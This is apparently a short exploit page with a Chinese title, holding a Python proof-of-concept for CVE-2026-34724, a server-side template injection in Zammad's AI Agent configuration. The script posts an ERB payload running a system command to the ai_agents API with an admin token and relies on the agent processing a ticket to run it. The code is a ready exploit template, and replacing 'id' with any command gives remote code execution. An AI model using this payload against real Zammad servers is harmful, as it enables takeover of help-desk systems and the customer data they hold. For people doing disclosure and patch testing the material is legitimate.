CVE-2026-34724 Zammad AI Agent SSTI致RCE漏洞

# Conceptual PoC for CVE-2026-34724 (Zammad SSTI) # This script demonstrates how an admin might exploit the SSTI vulnerability. import requests import json TARGET_URL = "http://target-zammad.com" API_TOKEN = "<VALID_ADMIN_API_TOKEN>" # Requires High Privileges (PR:H) # Headers headers = { "Authorization": f"Token token={API_TOKEN}", "Content-Type": "application/json" } # Malicious payload to execute 'id' command via Ruby ERB SSTI # Zammad uses Ruby on Rails, so ERB syntax applies payload_string = "<%= system('id') %>" # Data payload targeting the vulnerable configuration point payload_data = { "name": "ExploitAgent", "description": "SSTI Test", "type_enrichment_data": payload_string # Vulnerable parameter } try: print("[*] Sending malicious payload to AI Agent configuration...") response = requests.post( f"{TARGET_URL}/api/v1/ai_agents", headers=headers, data=json.dumps(payload_data) ) if response.status_code == 201: print("[+] Payload injected successfully.") print("[!] Triggering the AI Agent to execute the code...") # Note: Actual execution requires the AI Agent to process a ticket/task. else: print(f"[-] Request failed: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")